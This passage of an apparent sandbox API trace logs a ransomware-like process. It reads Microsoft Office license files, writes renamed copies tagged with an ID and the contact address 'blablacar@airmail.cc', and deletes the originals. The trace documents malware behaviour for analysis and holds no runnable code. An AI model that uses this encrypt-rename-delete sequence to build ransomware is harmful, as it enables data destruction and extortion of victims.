Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0204.390] lstrlenW (lpString=".zip") returned 4 [0204.390] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.390] lstrlenW (lpString=".rar") returned 4 [0204.390] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.390] lstrlenW (lpString=".bz2") returned 4 [0204.390] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.390] lstrlenW (lpString=".7z") returned 3 [0204.390] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0204.390] lstrlenW (lpString=".dbf") returned 4 [0204.390] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0204.390] lstrlenW (lpString=".1cd") returned 4 [0204.390] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0204.391] lstrlenW (lpString=".jpg") returned 4 [0204.391] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0204.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0204.391] lstrlenW (lpString=".doc") returned 4 [0204.391] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.391] lstrlenW (lpString=".docx") returned 5 [0204.391] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.391] lstrlenW (lpString=".pdf") returned 4 [0204.391] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.391] lstrlenW (lpString=".xls") returned 4 [0204.391] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.391] lstrlenW (lpString=".xlsx") returned 5 [0204.391] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.391] lstrlenW (lpString=".ppt") returned 4 [0204.391] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0204.391] lstrlenW (lpString=".zip") returned 4 [0204.391] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.391] lstrlenW (lpString=".rar") returned 4 [0204.391] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.391] lstrlenW (lpString=".bz2") returned 4 [0204.391] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.391] lstrlenW (lpString=".7z") returned 3 [0204.391] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0204.391] lstrlenW (lpString=".dbf") returned 4 [0204.391] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0204.391] lstrlenW (lpString=".1cd") returned 4 [0204.391] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0204.392] lstrlenW (lpString=".jpg") returned 4 [0204.392] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.392] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.392] lstrlenW (lpString="O365ProPlusR_Subscription1-pl.xrm-ms") returned 36 [0204.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.392] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11195) returned 1 [0204.392] CloseHandle (hObject=0x38c) returned 1 [0204.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms")) returned 0x220 [0204.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.393] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.393] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.394] GetLastError () returned 0x0 [0204.394] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0204.397] WriteFile (in: hFile=0x4d8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0204.398] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.398] WriteFile (in: hFile=0x4d8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11c, lpOverlapped=0x0) returned 1 [0204.398] SetEndOfFile (hFile=0x4d8) returned 1 [0204.398] CloseHandle (hObject=0x4d8) returned 1 [0204.399] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.399] SetEndOfFile (hFile=0x38c) returned 1 [0204.403] CloseHandle (hObject=0x38c) returned 1 [0204.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms")) returned 1 [0204.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0204.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0204.404] lstrlenW (lpString=".doc") returned 4 [0204.404] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.404] lstrlenW (lpString=".docx") returned 5 [0204.405] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.405] lstrlenW (lpString=".pdf") returned 4 [0204.405] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.405] lstrlenW (lpString=".xls") returned 4 [0204.405] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.405] lstrlenW (lpString=".xlsx") returned 5 [0204.405] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.405] lstrlenW (lpString=".ppt") returned 4 [0204.405] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0204.405] lstrlenW (lpString=".zip") returned 4 [0204.405] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.405] lstrlenW (lpString=".rar") returned 4 [0204.405] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.405] lstrlenW (lpString=".bz2") returned 4 [0204.405] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.405] lstrlenW (lpString=".7z") returned 3 [0204.405] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0204.405] lstrlenW (lpString=".dbf") returned 4 [0204.405] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0204.405] lstrlenW (lpString=".1cd") returned 4 [0204.405] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0204.405] lstrlenW (lpString=".jpg") returned 4 [0204.405] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0204.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0204.405] lstrlenW (lpString=".doc") returned 4 [0204.405] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.405] lstrlenW (lpString=".docx") returned 5 [0204.405] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.406] lstrlenW (lpString=".pdf") returned 4 [0204.406] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.406] lstrlenW (lpString=".xls") returned 4 [0204.406] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.406] lstrlenW (lpString=".xlsx") returned 5 [0204.406] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.406] lstrlenW (lpString=".ppt") returned 4 [0204.406] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0204.406] lstrlenW (lpString=".zip") returned 4 [0204.406] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.406] lstrlenW (lpString=".rar") returned 4 [0204.406] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.406] lstrlenW (lpString=".bz2") returned 4 [0204.406] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.406] lstrlenW (lpString=".7z") returned 3 [0204.406] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0204.406] lstrlenW (lpString=".dbf") returned 4 [0204.406] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0204.406] lstrlenW (lpString=".1cd") returned 4 [0204.406] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86 [0204.406] lstrlenW (lpString=".jpg") returned 4 [0204.406] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.406] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.406] lstrlenW (lpString="O365ProPlusR_Subscription1-ppd.xrm-ms") returned 37 [0204.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.407] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=28261) returned 1 [0204.407] CloseHandle (hObject=0x38c) returned 1 [0204.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 0x220 [0204.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.408] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.408] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0204.408] GetLastError () returned 0x0 [0204.408] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x6e65, lpOverlapped=0x0) returned 1 [0204.419] WriteFile (in: hFile=0x54c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x6e70, lpOverlapped=0x0) returned 1 [0204.421] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.421] WriteFile (in: hFile=0x54c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11e, lpOverlapped=0x0) returned 1 [0204.421] SetEndOfFile (hFile=0x54c) returned 1 [0204.421] CloseHandle (hObject=0x54c) returned 1 [0204.421] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.421] SetEndOfFile (hFile=0x38c) returned 1 [0204.424] CloseHandle (hObject=0x38c) returned 1 [0204.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 1 [0204.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0204.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0204.425] lstrlenW (lpString=".doc") returned 4 [0204.425] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.425] lstrlenW (lpString=".docx") returned 5 [0204.425] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.426] lstrlenW (lpString=".pdf") returned 4 [0204.426] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.426] lstrlenW (lpString=".xls") returned 4 [0204.426] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.426] lstrlenW (lpString=".xlsx") returned 5 [0204.426] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.426] lstrlenW (lpString=".ppt") returned 4 [0204.426] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0204.426] lstrlenW (lpString=".zip") returned 4 [0204.426] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.426] lstrlenW (lpString=".rar") returned 4 [0204.426] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.426] lstrlenW (lpString=".bz2") returned 4 [0204.426] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.426] lstrlenW (lpString=".7z") returned 3 [0204.426] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0204.426] lstrlenW (lpString=".dbf") returned 4 [0204.426] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0204.426] lstrlenW (lpString=".1cd") returned 4 [0204.426] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0204.426] lstrlenW (lpString=".jpg") returned 4 [0204.426] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0204.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0204.426] lstrlenW (lpString=".doc") returned 4 [0204.426] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.426] lstrlenW (lpString=".docx") returned 5 [0204.426] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.427] lstrlenW (lpString=".pdf") returned 4 [0204.427] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.427] lstrlenW (lpString=".xls") returned 4 [0204.427] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.427] lstrlenW (lpString=".xlsx") returned 5 [0204.427] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.427] lstrlenW (lpString=".ppt") returned 4 [0204.427] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0204.427] lstrlenW (lpString=".zip") returned 4 [0204.427] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.427] lstrlenW (lpString=".rar") returned 4 [0204.427] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.427] lstrlenW (lpString=".bz2") returned 4 [0204.427] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.427] lstrlenW (lpString=".7z") returned 3 [0204.427] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0204.427] lstrlenW (lpString=".dbf") returned 4 [0204.427] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0204.427] lstrlenW (lpString=".1cd") returned 4 [0204.427] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0204.427] lstrlenW (lpString=".jpg") returned 4 [0204.427] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.427] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.427] lstrlenW (lpString="O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 40 [0204.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.428] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11646) returned 1 [0204.428] CloseHandle (hObject=0x38c) returned 1 [0204.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms")) returned 0x220 [0204.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.429] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.429] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0204.430] GetLastError () returned 0x0 [0204.430] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d7e, lpOverlapped=0x0) returned 1 [0204.704] WriteFile (in: hFile=0x54c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0204.705] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.705] WriteFile (in: hFile=0x54c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x124, lpOverlapped=0x0) returned 1 [0204.705] SetEndOfFile (hFile=0x54c) returned 1 [0204.705] CloseHandle (hObject=0x54c) returned 1 [0204.705] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.705] SetEndOfFile (hFile=0x38c) returned 1 [0204.708] CloseHandle (hObject=0x38c) returned 1 [0204.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms")) returned 1 [0204.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 90 [0204.710] lstrlenW 